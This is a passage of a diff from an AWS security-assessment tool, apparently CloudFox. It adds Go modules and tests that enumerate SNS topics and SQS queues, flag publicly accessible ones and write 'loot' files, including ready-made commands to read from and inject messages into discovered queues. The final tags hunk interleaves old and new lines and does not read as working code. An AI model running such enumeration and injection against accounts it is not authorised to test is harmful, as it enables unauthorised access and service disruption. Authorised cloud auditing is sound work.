// If the topic policy "resource policy" is empty, the only principals that have permisisons
// are those that are granted access by IAM policies
//topic.Access = "Private. Access allowed by IAM policies"
topic.Access = "Only intra-account access (via IAM) allowed"
dataReceiver <- *topic
}
}
}
func (m *SNSModule) listTopics(region string) ([]types.Topic, error) {
var PaginationControl *string
var topics []types.Topic
for {
ListTopics, err := m.SNSClient.ListTopics(
context.TODO(),
&sns.ListTopicsInput{
NextToken: PaginationControl,
},
func(o *sns.Options) {
o.Region = region
},
)
if err != nil {
return nil, err
}
for _, t := range ListTopics.Topics {
topics = append(topics, t)
}
// The "NextToken" value is nil when there's no more data to return.
if ListTopics.NextToken != nil {
PaginationControl = ListTopics.NextToken
} else {
PaginationControl = nil
break
}
}
return topics, nil
}
func (m *SNSModule) getTopicWithAttributes(topicARN string, region string) (*SNSTopic, error) {
topic := &SNSTopic{
ARN: topicARN,
}
GetTopicAttributes, err := m.SNSClient.GetTopicAttributes(
context.TODO(),
&sns.GetTopicAttributesInput{
TopicArn: aws.String(topicARN),
},
func(o *sns.Options) {
o.Region = region
},
)
if err != nil {
return nil, fmt.Errorf("GetTopicAttributes(%s) failed: %s", topicARN, err)
}
if policyJSON, ok := GetTopicAttributes.Attributes["Policy"]; ok {
policy, err := policy.ParseJSONPolicy([]byte(policyJSON))
if err != nil {
return nil, fmt.Errorf("parsing topic access policy (%s) as JSON: %s", topicARN, err)
}
topic.PolicyJSON = policyJSON
topic.Policy = policy
}
return topic, nil
}
func (m *SNSModule) analyseTopicPolicy(topic *SNSTopic, dataReceiver chan SNSTopic) {
m.storeAccessPolicy(topic)
if topic.Policy.IsPublic() && !topic.Policy.IsConditionallyPublic() {
topic.IsPublic = "YES"
}
for i, statement := range topic.Policy.Statement {
var prefix string = ""
if len(topic.Policy.Statement) > 1 {
prefix = fmt.Sprintf("Statement %d says: ", i)
topic.ResourcePolicySummary = topic.ResourcePolicySummary + prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account)
} else {
topic.ResourcePolicySummary = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
}
topic.ResourcePolicySummary = strings.TrimSuffix(topic.ResourcePolicySummary, "\n")
}
dataReceiver <- *topic
}
func (m *SNSModule) storeAccessPolicy(topic *SNSTopic) {
f := filepath.Join(m.getLootDir(), fmt.Sprintf("%s.json", m.getTopicName(topic.ARN)))
if err := m.storeFile(f, topic.PolicyJSON); err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
}
func (m *SNSModule) getLootDir() string {
return filepath.Join(m.output.FilePath, "loot", "sns-policies")
}
// Example: arn:aws:sns:us-east-2:123456789012:MyTopic
func (m *SNSModule) getTopicName(topicARN string) string {
tokens := strings.SplitN(topicARN, ":", 6)
if len(tokens) != 6 {
return ""
}
return tokens[5]
}
func (m *SNSModule) storeFile(filename string, policy string) error {
err := os.MkdirAll(filepath.Dir(filename), 0750)
if err != nil && !os.IsExist(err) {
return fmt.Errorf("creating parent dirs: %s", err)
}
return os.WriteFile(filename, []byte(policy), 0644)
}
+138
View File
@@ -0,0 +1,138 @@
package aws
import (
"context"
"path/filepath"
"regexp"
"strings"
"testing"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/sns"
"github.com/aws/aws-sdk-go-v2/service/sns/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/spf13/afero"
)
func TestSNSQueues(t *testing.T) {
c := &mockedSNSClient{
Topics: map[string]map[string]string{
"arn:aws:sns:us-east-1:123456789012:MyFirstTopic": {
"Policy": `{"Statement":[{"Effect":"Allow","Principal":"*","Action":"SNS:Publish","Resource":"arn:aws:sns:us-east-1:123456789012:MyFirstTopic","Condition":{"StringEquals":{"aws:sourceVpce":"vpce-1a2b3c4d"}}}]}`,
},
"arn:aws:sns:us-west-2:123456789012:MySecondTopic": {},
},
}
m := SNSModule{
SNSClient: c,
Caller: sts.GetCallerIdentityOutput{
Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests"),
Account: aws.String("123456789012"),
},
AWSRegions: []string{"us-east-1", "us-west-1", "us-west-2"},
AWSProfile: "unittesting",
StorePolicies: true,
Goroutines: 3,
}
fs := internal.MockFileSystem(true)
defer internal.MockFileSystem(false)
tmpDir := "."
// execute the module with verbosity = 2
m.PrintSNS("table", tmpDir, 2)
resultsFilePath := filepath.Join(tmpDir, "cloudfox-output/aws/123456789012-unittesting/table/sns.txt")
resultsFile, err := afero.ReadFile(fs, resultsFilePath)
if err != nil {
t.Fatalf("Cannot read output file at %s: %s", resultsFilePath, err)
}
expectedResults := strings.TrimLeft(`
╭──────────────────────────────────────────────────┬─────────┬─────────────────────────────────────────────╮
│ ARN │ Public? │ Resource Policy Summary │
├──────────────────────────────────────────────────┼─────────┼─────────────────────────────────────────────┤
│ arn:aws:sns:us-east-1:123456789012:MyFirstTopic │ No │ Everyone can SNS:Publish │
│ │ │ -> Only when aws:sourceVpce = vpce-1a2b3c4d │
│ arn:aws:sns:us-west-2:123456789012:MySecondTopic │ No │ │
╰──────────────────────────────────────────────────┴─────────┴─────────────────────────────────────────────╯
`, "\n")
if string(resultsFile) != expectedResults {
t.Fatalf("Unexpected results:\n%s\n", resultsFile)
}
}
/// ########## Mocks ##########
// mockedSNSClient can return data about a hardcoded set of topics
type mockedSNSClient struct {
Topics map[string]map[string]string // map of topic ARNs to attributes (which are maps of string names to string values)
}
func (c *mockedSNSClient) ListTopics(ctx context.Context, params *sns.ListTopicsInput, optFns ...func(*sns.Options)) (*sns.ListTopicsOutput, error) {
out := sns.ListTopicsOutput{}
region := c.getRequestedRegion(optFns...)
for arn := range c.Topics {
if getRegionFromTopicARN(arn) != region {
continue
}
out.Topics = append(out.Topics, types.Topic{
TopicArn: aws.String(arn),
})
}
return &out, nil
}
func (c *mockedSNSClient) GetTopicAttributes(ctx context.Context, params *sns.GetTopicAttributesInput, optFns ...func(*sns.Options)) (*sns.GetTopicAttributesOutput, error) {
out := sns.GetTopicAttributesOutput{}
if params.TopicArn == nil {
return &out, nil
}
region := c.getRequestedRegion(optFns...)
out.Attributes = make(map[string]string)
for arn, attributes := range c.Topics {
if arn != *params.TopicArn {
continue
}
if getRegionFromTopicARN(arn) != region {
continue
}
for k, v := range attributes {
out.Attributes[k] = v
}
}
return &out, nil
}
// Example: arn:aws:sns:us-east-2:123456789012:MyTopic
var reGetRegionFromTopicARN = regexp.MustCompile(`arn:aws:sns:([a-z0-9-]+):[0-9]+:`)
func getRegionFromTopicARN(url string) string {
match := reGetRegionFromTopicARN.FindStringSubmatch(url)
if len(match) != 2 {
return ""
}
return match[1]
}
func (c *mockedSNSClient) getRequestedRegion(optFns ...func(*sns.Options)) string {
opts := &sns.Options{}
for _, optFn := range optFns {
optFn(opts)
}
return opts.Region
}
+428
View File
@@ -0,0 +1,428 @@
package aws
import (
"context"
"fmt"
"os"
"path/filepath"
"sort"
"strconv"
"strings"
"sync"
"unicode/utf8"
"github.com/BishopFox/cloudfox/internal"
"github.com/BishopFox/cloudfox/internal/aws/policy"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/aws/arn"
"github.com/aws/aws-sdk-go-v2/service/sqs"
"github.com/aws/aws-sdk-go-v2/service/sqs/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/bishopfox/awsservicemap"
"github.com/sirupsen/logrus"
)
type SQSModule struct {
// General configuration data
SQSClient AWSSQSClient
StorePolicies bool
Caller sts.GetCallerIdentityOutput
AWSRegions []string
OutputFormat string
Goroutines int
AWSProfile string
WrapTable bool
// Main module data
Queues []Queue
CommandCounter internal.CommandCounter
// Used to store output data for pretty printing
output internal.OutputData2
modLog *logrus.Entry
}
type AWSSQSClient interface {
ListQueues(ctx context.Context, params *sqs.ListQueuesInput, optFns ...func(*sqs.Options)) (*sqs.ListQueuesOutput, error)
GetQueueAttributes(ctx context.Context, params *sqs.GetQueueAttributesInput, optFns ...func(*sqs.Options)) (*sqs.GetQueueAttributesOutput, error)
}
type Queue struct {
URL string
Name string
Arn string
Region string
Policy policy.Policy
PolicyJSON string
Access string
IsPublic string
IsConditionallyPublic string
Statement string
Actions string
ConditionText string
ResourcePolicySummary string
}
func (m *SQSModule) PrintSQS(outputFormat string, outputDirectory string, verbosity int) {
// These stuct values are used by the output module
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "sqs"
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
if m.AWSProfile == "" {
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
fmt.Printf("[%s][%s] Enumerating SQS queues for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
wg := new(sync.WaitGroup)
semaphore := make(chan struct{}, m.Goroutines)
// Create a channel to signal the spinner aka task status goroutine to finish
spinnerDone := make(chan bool)
//fire up the the task status spinner/updated
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "regions")
//create a channel to receive the objects
dataReceiver := make(chan Queue)
// Create a channel to signal to stop
receiverDone := make(chan bool)
go m.Receiver(dataReceiver, receiverDone)
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
go m.executeChecks(region, wg, semaphore, dataReceiver)
}
wg.Wait()
// Send a message to the spinner goroutine to close the channel and stop
spinnerDone <- true
<-spinnerDone
// Send a message to the data receiver goroutine to close the channel and stop
receiverDone <- true
<-receiverDone
// add - if struct is not empty do this. otherwise, dont write anything.
m.output.Headers = []string{
"Arn",
"Public?",
"Resource Policy Summary",
}
sort.SliceStable(m.Queues, func(i, j int) bool {
return m.Queues[i].URL < m.Queues[j].URL
})
// Table rows
for i := range m.Queues {
m.output.Body = append(
m.output.Body,
[]string{
m.Queues[i].Arn,
m.Queues[i].IsPublic,
m.Queues[i].ResourcePolicySummary,
},
)
}
if len(m.output.Body) > 0 {
//m.output.OutputSelector(outputFormat)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//m.writeLoot(m.output.FilePath, verbosity, m.AWSProfile)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName, verbosity, m.AWSProfile)
fmt.Printf("[%s][%s] %s queues found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
fmt.Printf("[%s][%s] Access policies stored to: %s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.getLootDir())
} else {
fmt.Printf("[%s][%s] No queues found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
func (m *SQSModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Queue) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("sqs", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getSQSRecordsPerRegion(r, wg, semaphore, dataReceiver)
}
}
func (m *SQSModule) Receiver(receiver chan Queue, receiverDone chan bool) {
defer close(receiverDone)
for {
select {
case data := <-receiver:
m.Queues = append(m.Queues, data)
case <-receiverDone:
receiverDone <- true
return
}
}
}
func (m *SQSModule) writeLoot(outputDirectory string, verbosity int, profile string) {
path := filepath.Join(outputDirectory, "loot")
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
}
lootCommandsFile := filepath.Join(path, "sqs-commands.txt")
var out string
out = out + fmt.Sprintln("#############################################")
out = out + fmt.Sprintln("# The profile you will use to perform these commands is most likely not the profile you used to run CloudFox")
out = out + fmt.Sprintln("# Set the $profile environment variable to the profile you are going to use to inspect the buckets.")
out = out + fmt.Sprintln("# E.g., export profile=dev-prod.")
out = out + fmt.Sprintln("#############################################")
out = out + fmt.Sprintln("")
for _, queue := range m.Queues {
out = out + fmt.Sprintln("# "+strings.Repeat("-", utf8.RuneCountInString(queue.Name)+7))
out = out + fmt.Sprintf("# Queue: %s\n", queue.Name)
out = out + fmt.Sprintln("# "+strings.Repeat("-", utf8.RuneCountInString(queue.Name)+7))
out = out + fmt.Sprintln("# Receive a message from the queue ")
out = out + fmt.Sprintln("")
out = out + fmt.Sprintln("# WARNING: The following command can cause adverse effects in the environment. In production environments, use this command with caution")
out = out + fmt.Sprintln("# WARNING: and in coordination with application owners. Receiving a message does not delete it from the queue, but this action")
out = out + fmt.Sprintln("# WARNING: can potentially cause latency or it could DoS applications that consume the queue messages")
out = out + fmt.Sprintln("")
out = out + fmt.Sprintf("aws --profile $profile --region %s sqs receive-message --queue-url %s --attribute-names All --message-attribute-names All --max-number-of-messages 5 --visibility-timeout 0\n\n", queue.Region, queue.URL)
out = out + fmt.Sprintln("# Send a message to the queue without attributes file")
out = out + fmt.Sprintln("")
out = out + fmt.Sprintln("# WARNING: The following command can cause adverse effects in the environment. Like fuzzing a web application, if you inject")
out = out + fmt.Sprintln("# WARNING: malicious data you might find a vulnerability, but you also might break something. Unless you really know how the")
out = out + fmt.Sprintln("# WARNING: messages are consumed, you should leave fuzzing to non-production environments.")
out = out + fmt.Sprintf("aws --profile $profile --region %s sqs send-message --queue-url %s --message-body \"[INSERT MESSAGE BODY]\"\n\n", queue.Region, queue.URL)
out = out + fmt.Sprintln("")
out = out + fmt.Sprintln("# Send message to the queue with attributes file (You'll have to create and populate the file)")
out = out + fmt.Sprintln("")
out = out + fmt.Sprintln("# WARNING: The following command can cause adverse effects in the environment. Like fuzzing a web application, if you inject")
out = out + fmt.Sprintln("# WARNING: malicious data you might find a vulnerability, but you also might break something. Unless you really know how the")
out = out + fmt.Sprintln("# WARNING: messages are consumed, you should leave fuzzing to non-production environments.")
out = out + fmt.Sprintf("aws --profile $profile --region %s sqs send-message --queue-url %s --message-body \"[INSERT MESSAGE BODY] --message-attributes file://./file.json\"\n\n", queue.Region, queue.URL)
}
err = os.WriteFile(lootCommandsFile, []byte(out), 0644)
if err != nil {
m.modLog.Error(err.Error())
}
if verbosity > 2 {
fmt.Println()
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("Use the commands below to send/receive sqs messages if you have right permissions."))
fmt.Print(out)
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("End of loot file."))
}
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), lootCommandsFile)
}
func (m *SQSModule) getSQSRecordsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Queue) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() {
<-semaphore
}()
ListQueues, err := m.listQueues(r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
for _, url := range ListQueues {
queue, err := m.getQueueWithAttributes(url, r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
// easier to just set the default state to be no and only flip it to yes if we have a case that matches
queue.IsPublic = "No"
if !queue.Policy.IsEmpty() {
m.analyseQueuePolicy(queue, dataReceiver)
} else {
// If the queue policy "resource policy" is empty, the only principals that have permisisons
// are those that are granted access by IAM policies
//queue.Access = "Private. Access allowed by IAM policies"
queue.Access = "Only intra-account access (via IAM) allowed"
dataReceiver <- *queue
}
}
}
func (m *SQSModule) listQueues(region string) ([]string, error) {
var PaginationControl *string
var queues []string
for {
ListQueues, err := m.SQSClient.ListQueues(
context.TODO(),
&sqs.ListQueuesInput{
MaxResults: aws.Int32(1000),
NextToken: PaginationControl,
},
func(o *sqs.Options) {
o.Region = region
},
)
if err != nil {
return nil, fmt.Errorf("ListQueues() failed: %s", err)
}
for _, url := range ListQueues.QueueUrls {
queues = append(queues, url)
}
// The "NextToken" value is nil when there's no more data to return.
if ListQueues.NextToken != nil {
PaginationControl = ListQueues.NextToken
} else {
PaginationControl = nil
break
}
}
return queues, nil
}
func (m *SQSModule) getQueueWithAttributes(queueURL string, region string) (*Queue, error) {
queue := &Queue{
URL: queueURL,
}
GetQueueAttributes, err := m.SQSClient.GetQueueAttributes(
context.TODO(),
&sqs.GetQueueAttributesInput{
QueueUrl: aws.String(queueURL),
AttributeNames: []types.QueueAttributeName{
types.QueueAttributeNamePolicy,
types.QueueAttributeNameQueueArn,
},
},
func(o *sqs.Options) {
o.Region = region
},
)
if err != nil {
return nil, fmt.Errorf("GetQueueAttributes(%s) failed: %s", queueURL, err)
}
if queueArn, ok := GetQueueAttributes.Attributes[string(types.QueueAttributeNameQueueArn)]; ok {
parsedArn, err := arn.Parse(queueArn)
if err != nil {
queue.Name = queueArn
}
queue.Arn = queueArn
queue.Name = parsedArn.Resource
queue.Region = parsedArn.Region
}
if policyJSON, ok := GetQueueAttributes.Attributes[string(types.QueueAttributeNamePolicy)]; ok {
policy, err := policy.ParseJSONPolicy([]byte(policyJSON))
if err != nil {
return nil, fmt.Errorf("parsing queue access policy (%s) as JSON: %s", queueURL, err)
}
queue.PolicyJSON = policyJSON
queue.Policy = policy
}
return queue, nil
}
func (m *SQSModule) analyseQueuePolicy(queue *Queue, dataReceiver chan Queue) {
m.storeAccessPolicy(queue)
if queue.Policy.IsPublic() && !queue.Policy.IsConditionallyPublic() {
queue.IsPublic = "YES"
}
for i, statement := range queue.Policy.Statement {
var prefix string = ""
if len(queue.Policy.Statement) > 1 {
prefix = fmt.Sprintf("Statement %d says: ", i)
queue.ResourcePolicySummary = queue.ResourcePolicySummary + prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account)
} else {
queue.ResourcePolicySummary = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
}
queue.ResourcePolicySummary = strings.TrimSuffix(queue.ResourcePolicySummary, "\n")
}
dataReceiver <- *queue
}
func (m *SQSModule) storeAccessPolicy(queue *Queue) {
f := filepath.Join(m.getLootDir(), fmt.Sprintf("%s.json", m.getQueueName(queue.URL)))
if err := m.storeFile(f, queue.PolicyJSON); err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
}
func (m *SQSModule) getLootDir() string {
return filepath.Join(m.output.FilePath, "loot", "sqs-policies")
}
func (m *SQSModule) getQueueName(url string) string {
tokens := strings.SplitN(url, "/", 5)
if len(tokens) != 5 {
return ""
}
return tokens[4]
}
func (m *SQSModule) storeFile(filename string, policy string) error {
err := os.MkdirAll(filepath.Dir(filename), 0750)
if err != nil && !os.IsExist(err) {
return fmt.Errorf("creating parent dirs: %s", err)
}
return os.WriteFile(filename, []byte(policy), 0644)
}
+144
View File
@@ -0,0 +1,144 @@
package aws
import (
"context"
"path/filepath"
"regexp"
"strings"
"testing"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/sqs"
"github.com/aws/aws-sdk-go-v2/service/sqs/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/spf13/afero"
)
func TestSQSQueues(t *testing.T) {
c := &mockedSQSClient{
Queues: map[string]map[string]string{
"https://sqs.us-east-1.amazonaws.com/123456789012/policy-queue": {
string(types.QueueAttributeNamePolicy): `{"Version": "2012-10-17","Id": "anyID","Statement": [{"Sid":"unconditionally_public","Effect": "Allow","Principal": {"AWS": "*"},"Action": "sqs:*","Resource": "arn:aws:sqs:*:123456789012:some-queue"}]}`,
string(types.QueueAttributeNameQueueArn): `arn:aws:sqs:us-east-1:123456789012:policy-queue`,
},
"https://sqs.us-west-1.amazonaws.com/123456789012/no-policy-queue": {
string(types.QueueAttributeNameQueueArn): `arn:aws:sqs:us-east-1:123456789012:no-policy-queue`,
},
"https://sqs.us-east-1.amazonaws.com/123456789012/condition-queue": {
string(types.QueueAttributeNamePolicy): `{"Version":"2012-10-17","Id":"SQS-Account-Policy","Statement":[{"Sid":"Allows3Access","Effect":"Allow","Principal":{"Service":"s3.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"arn:aws:sqs:us-west-2:123456789012:terraform-example-queue"},{"Sid":"AllowRoleAccess","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::123456789012:root"},"Action":"SQS:*","Resource":"arn:aws:sqs:us-west-2:123456789012:terraform-example-queue"},{"Sid":"AllowFullAccess","Effect":"Allow","Principal":"*","Action":["SQS:SendMessage","SQS:ReceiveMessage"],"Resource":"arn:aws:sqs:us-west-2:123456789012:terraform-example-queue"}]}`,
string(types.QueueAttributeNameQueueArn): `arn:aws:sqs:us-east-1:123456789012:condition-queue`,
},
},
}
m := SQSModule{
SQSClient: c,
AWSProfile: "unittesting",
AWSRegions: []string{"us-east-1", "us-west-1", "us-west-2"},
Caller: sts.GetCallerIdentityOutput{
Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests"),
Account: aws.String("123456789012"),
},
Goroutines: 3,
}
fs := internal.MockFileSystem(true)
defer internal.MockFileSystem(false)
tmpDir := "."
// execute the module with verbosity set to 2
m.PrintSQS("table", tmpDir, 2)
resultsFilePath := filepath.Join(tmpDir, "cloudfox-output/aws/123456789012-unittesting/table/sqs.txt")
resultsFile, err := afero.ReadFile(fs, resultsFilePath)
if err != nil {
t.Fatalf("Cannot read output file at %s: %s", resultsFilePath, err)
}
expectedResults := strings.TrimLeft(`
╭────────────────────────────────────────────────────┬─────────┬─────────────────────────────────────────────────────────────────────────╮
│ Arn │ Public? │ Resource Policy Summary │
├────────────────────────────────────────────────────┼─────────┼─────────────────────────────────────────────────────────────────────────┤
│ arn:aws:sqs:us-east-1:123456789012:condition-queue │ YES │ Statement 0 says: s3.amazonaws.com can SQS:SendMessage │
│ │ │ Statement 1 says: arn:aws:iam::123456789012:root can SQS:* │
│ │ │ Statement 2 says: Everyone can SQS:SendMessage & can SQS:ReceiveMessage │
│ arn:aws:sqs:us-east-1:123456789012:policy-queue │ YES │ * can sqs:* │
│ arn:aws:sqs:us-east-1:123456789012:no-policy-queue │ No │ │
╰────────────────────────────────────────────────────┴─────────┴─────────────────────────────────────────────────────────────────────────╯
`, "\n")
if string(resultsFile) != expectedResults {
t.Fatalf("Unexpected results:\n%s\n", resultsFile)
}
}
/// ########## Mocks ##########
// mockedSQSClient can return data about a hardcoded set of queues
type mockedSQSClient struct {
Queues map[string]map[string]string // map of queue URL to attributes (which are maps of string names to string values)
}
func (c *mockedSQSClient) ListQueues(ctx context.Context, params *sqs.ListQueuesInput, optFns ...func(*sqs.Options)) (*sqs.ListQueuesOutput, error) {
out := sqs.ListQueuesOutput{}
region := getRequestedRegion(optFns...)
for url := range c.Queues {
if getRegionFromQueueURL(url) != region {
continue
}
out.QueueUrls = append(out.QueueUrls, url)
}
return &out, nil
}
func (c *mockedSQSClient) GetQueueAttributes(ctx context.Context, params *sqs.GetQueueAttributesInput, optFns ...func(*sqs.Options)) (*sqs.GetQueueAttributesOutput, error) {
out := sqs.GetQueueAttributesOutput{}
if params.QueueUrl == nil {
return &out, nil
}
region := getRequestedRegion(optFns...)
out.Attributes = make(map[string]string)
for url, attributes := range c.Queues {
if url != *params.QueueUrl {
continue
}
if getRegionFromQueueURL(url) != region {
continue
}
for k, v := range attributes {
out.Attributes[k] = v
}
}
return &out, nil
}
// Example: https://sqs.us-east-1.amazonaws.com/123456789012/some-name
var reGetRegionFromQueueURL = regexp.MustCompile(`https://sqs.([a-z0-9-]+).amazonaws.com`)
func getRegionFromQueueURL(url string) string {
match := reGetRegionFromQueueURL.FindStringSubmatch(url)
if len(match) != 2 {
return ""
}
return match[1]
}
func getRequestedRegion(optFns ...func(*sqs.Options)) string {
opts := &sqs.Options{}
for _, optFn := range optFns {
optFn(opts)
}
return opts.Region
}
+103 -55
View File
@@ -13,20 +13,26 @@ import (
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/aws/arn"
"github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi"
"github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/sirupsen/logrus"
)
type TagsGetResourcesAPI interface {
GetResources(ctx context.Context, params *resourcegroupstaggingapi.GetResourcesInput, optFns ...func(*resourcegroupstaggingapi.Options)) (*resourcegroupstaggingapi.GetResourcesOutput, error)
}
type TagsModule struct {
// General configuration data
ResourceGroupsTaggingApiClient *resourcegroupstaggingapi.Client
ResourceGroupsTaggingApiInterface TagsGetResourcesAPI
Caller sts.GetCallerIdentityOutput
AWSRegions []string
OutputFormat string
Goroutines int
AWSProfile string
WrapTable bool
Caller sts.GetCallerIdentityOutput
AWSRegions []string
OutputFormat string
Goroutines int
AWSProfile string
WrapTable bool
MaxResourcesPerRegion int
// Main module data
Tags []Tag
@@ -127,13 +133,33 @@ func (m *TagsModule) PrintTags(outputFormat string, outputDirectory string, verb
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//m.writeLoot(m.output.FilePath, verbosity)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
//m.writeLoot(o.Table.DirectoryName, verbosity, m.AWSProfile)
fmt.Printf("[%s][%s] %s tags found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
count := m.countUniqueResourcesWithTags()
fmt.Printf("[%s][%s] %d unique resources with tags found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), count)
if m.MaxResourcesPerRegion != 0 {
fmt.Printf("[%s][%s] NOTE: Only looked at %d resources per region. To enum all tags for all resources,\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.MaxResourcesPerRegion)
fmt.Printf("[%s][%s] NOTE: run the tags command without the -m/--max-resources-per-region flag set.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
} else {
fmt.Printf("[%s][%s] No tags found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
@@ -212,62 +238,84 @@ func (m *TagsModule) getTagsPerRegion(r string, wg *sync.WaitGroup, semaphore ch
<-semaphore
}()
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationControl *string
for {
GetResources, err := m.ResourceGroupsTaggingApiClient.GetResources(
context.TODO(),
&resourcegroupstaggingapi.GetResourcesInput{
PaginationToken: PaginationControl,
},
func(o *resourcegroupstaggingapi.Options) {
o.Region = r
},
)
resources, err := m.getResources(r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
//var parsedArn types.Arn
for _, resource := range resources {
var resourceType string
resourceArn := aws.ToString(resource.ResourceARN)
parsedArn, err := arn.Parse(resourceArn)
if parsedArn.Service != "s3" {
resourceType = strings.Split(parsedArn.Resource, ":")[0]
resourceType = strings.Split(resourceType, "/")[0]
} else {
resourceType = "bucket"
}
//resourceName := strings.Split(parsedArn.Resource, ":")[]
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
//var parsedArn types.Arn
for _, resource := range GetResources.ResourceTagMappingList {
var resourceType string
resourceArn := aws.ToString(resource.ResourceARN)
parsedArn, err := arn.Parse(resourceArn)
if parsedArn.Service != "s3" {
resourceType = strings.Split(parsedArn.Resource, ":")[0]
resourceType = strings.Split(resourceType, "/")[0]
} else {
resourceType = "bucket"
for _, tag := range resource.Tags {
key := aws.ToString(tag.Key)
value := aws.ToString(tag.Value)
dataReceiver <- Tag{
AWSService: parsedArn.Service,
Arn: resourceArn,
Name: parsedArn.Resource,
Region: r,
Type: resourceType,
Key: key,
Value: value,
}
//resourceName := strings.Split(parsedArn.Resource, ":")[]
}
}
}
